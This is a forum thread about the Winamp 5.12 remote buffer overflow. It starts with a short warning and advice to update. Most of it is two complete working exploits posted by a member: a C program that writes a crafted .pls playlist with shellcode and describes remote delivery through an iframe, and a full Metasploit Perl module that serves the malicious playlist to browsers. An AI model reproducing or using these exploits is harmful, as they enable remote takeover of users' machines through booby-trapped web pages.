Winamp exploit poses hacker risk

[Osiris]

Hackers have created an exploit targeting a serious security vulnerability in Winamp, the popular media player. Users are strongly urged to update their software to Winamp version 5.13 to guard against attack.

A remotely exploitable buffer overflow bug in version 5.12 of Winamp creates a means for hackers to take over machines running the vulnerable software, providing they can trick users into visiting maliciously constructed websites. A malformed playlist file, containing a filename starting with an overly long computer name, would be automatically downloaded and opened in Winamp because of the security bug. Winamp version 5.12 is confirmed as vulnerable and older versions may also be susceptible to attack.

 

[scoobywrx]

I did have winamp

 

[Win2kpatcher]

is this the one where the guy says it really kicks the llamas *** or something like that really weird?

 

[Osiris]

sure is

 

[yosa]

I apreciate your effort to inform of new risks Warez Monster, thank you; you were owed the compliment.

 

[vicky116]

thanx for the new info.

how do i run update on winamp?

 

[talldude123]

go to:
winamp - http://www.winamp.com

and download the latest version.

also,
oldversion - http://www.oldversion.com

find old versions of winamp.

 

[ZeroX]

2.8 is best for me. ever since aol got a hold of winamp they have gone down hill and fast.

 

[Osiris]

Here is the exploit disected


/*
*
* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
* Bug discovered & exploit coded by ATmaCA
* Web: http://www.spyinstructors.com && http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to Kozan
*
*/

/*
*
* Tested with :
* Winamp 5.12 on Win XP Pro Sp2
*
*/

/*
* Usage:
*
* Execute exploit, it will create "crafted.pls" in current directory.
* Duble click the file, or single click right and then select "open".
* And Winamp will launch a Calculator (calc.exe)
*
*/

/*
*
* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.
*
* http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define BUF_LEN 0x045D
#define PLAYLIST_FILE "crafted.pls"

char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
char szPlayListHeader2[] = "\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";

// Jump to shellcode
char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";

// Harmless Calc.exe
char shellcode[] =
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d";


int main(int argc,char *argv[])
{
printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
printf("\nBug discovered & exploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com");
printf("\nE-Mail: atmaca@icqmail.com");
printf("\nCredit to Kozan");

FILE *File;
char *pszBuffer;

if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
printf("\n [Err:] fopen()");
exit(1);
}

pszBuffer = (char*)malloc(BUF_LEN);
memset(pszBuffer,0x90,BUF_LEN);
memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);

fwrite(pszBuffer, BUF_LEN, 1,File);
fclose(File);

printf("\n\n" PLAYLIST_FILE " has been created in the current directory.\n");
return 1;
}

 

[Osiris]

And the other exploit....

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::winamp_playlist_unc;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;

my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
'Humor' => [0, 'Enable humorous song names'],
};

my $info =
{
'Name' => 'Winamp Playlist UNC Path Computer Name Overflow',
'Version' => '$Revision: 1.3 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com',
'Faithless <rhyskidd [at] gmail.com>',
],

'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in the Winamp media player.
This flaw is triggered when a audio file path is specified, inside a
playlist, that consists of a UNC path with a long computer name. This
module delivers the playlist via the browser.
}),

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,

'AutoOpts' => { 'EXITFUNC' => 'process' },
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ],
},

'Payload' =>
{
'Space' => 526,
'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
'Keys' => ['-bind'],

# Landing on \x5c\x5c trashes esp, restore from ecx
'PrependEncoder' => "\x87\xe1",

# Disable nop sleds completely (dont modify ecx)
'MinNops' => 0,
'MaxNops' => 0,
},
'Refs' =>
[
['BID', '16410'],
['URL', 'http://milw0rm.com/id.php?id=1458/'],
['URL', 'http://secunia.com/advisories/18649/'],
],

'DefaultTarget' => 0,
'Targets' =>
[
# Return to exe, 0x0d is replaced by 0x00 >
[ 'Winamp 5.12 Universal', 0x0d45fece ]
],

'Keys' => [ 'winamp' ],

'DisclosureDate' => 'Jan 29 2006',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;

# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}

my $httphost = $self->GetVar('HTTPHOST');
$httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';

$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");

while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my $fd = shift;

# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

# Read the HTTP command
my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);

# Read the HTTP headers
my $headers;
while ( (my $line = $fd->RecvLine(10))) {
$headers .= $line;
last if $line eq "\r\n";
}

if ($url !~ /\.pls/i) {
$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, redirecting...");
my $content =
"<html><script>".
"document.location='".RandomPath().".pls'".
"</script><body>".
"One second please...</body></html>";

$fd->Send($self->BuildResponse($content));
$fd->Close;
return;
}

my $target_idx = $self->GetVar('TARGET');
my $target = $self->Targets->[$target_idx];
my $shellcode = $self->GetVar('EncodedPayload')->Payload;

my $name = Pex::Text::AlphaNumText(int(rand(32)+1));
my $file = Pex::Text::AlphaNumText(1026);

substr($file, 1022, 4, pack('V', $target->[1]));
substr($file, 0, length($shellcode), $shellcode);

# Too many and it takes too long to load...
my $pcnt = int(rand(10)+10);
my $play =
"[playlist]\r\n".

$self->RandomNames($pcnt).

"File". ($pcnt+1). "=\\\\$file\r\n" .
"Title". ($pcnt+1). "=$name\r\n".
"Length". ($pcnt+1). "=".sprintf("%x",rand(1024)+1)."\r\n".

"NumberOfEntries=".($pcnt+1)."\r\n".
"Version=2\r\n";

$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload...");


$fd->Send($self->BuildResponse($play, "audio/x-scpls"));

# Prevents IE from throwing an error in some cases
select(undef, undef, undef, 0.1);

$fd->Close();
}

sub RandomPath {
my $self = shift;
my $path;

while (length($path) < 32) {
$path .= "/" . Pex::Text::AlphaNumText(int(rand(30) + 5));
}
return $path;
}

sub RandomNames {
my $self = shift;
return $self->RandomNamesFun(@_) if $self->GetVar('Humor');
my $scnt = shift;

my $ppad = '';

for my $idx (1..$scnt) {
my $pname = Pex::Text::AlphaNumText(int(rand(32)+1));
my $pfile = Pex::Text::AlphaNumText(int(rand(32)+1)).".mp3";
$ppad .=
"File". ($idx). "=".$pfile."\r\n" .
"Title". ($idx). "=".$pname."\r\n".
"Length". ($idx). "=".sprintf("%x",rand(1024)+1)."\r\n";
}
return $ppad;
}

sub BuildResponse {
my ($self, $content, $ctype) = @_;
$ctype ||= "text/html";

my $response =
"HTTP/1.1 200 OK\r\n" .
"Content-Type: $ctype\r\n";

if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}

$response .= "\r\n" . $content;

return $response;
}

sub Chunk {
my ($self, $content) = @_;

my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";

return $chunked;
}

sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+10;

my($wtr, $rdr, $err);

my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;

return (<$rdr>);
}


sub RandomNamesFun {
my $self = shift;
my $scnt = shift;
my @ffun =
(
"Angelina vs Rosie O - Butter Time",
"Richards Gerbil Adventure",
"Elton John Bachelor Party",
"Paris Hilton Greased Chihuahua",
"OH MY GOD",
"SOMEONE IS OWNING",
"MY WINAMP!",
);

my $ppad = '';

for my $idx (1..$scnt) {
my $pname = $ffun[ $idx % scalar(@ffun) ];
$ppad .=
"File". ($idx). "=".$pname."\r\n" .
"Title". ($idx). "=".$pname."\r\n".
"Length". ($idx). "=".sprintf("%x",rand(1024)+1)."\r\n";
}
return $ppad;
}
1;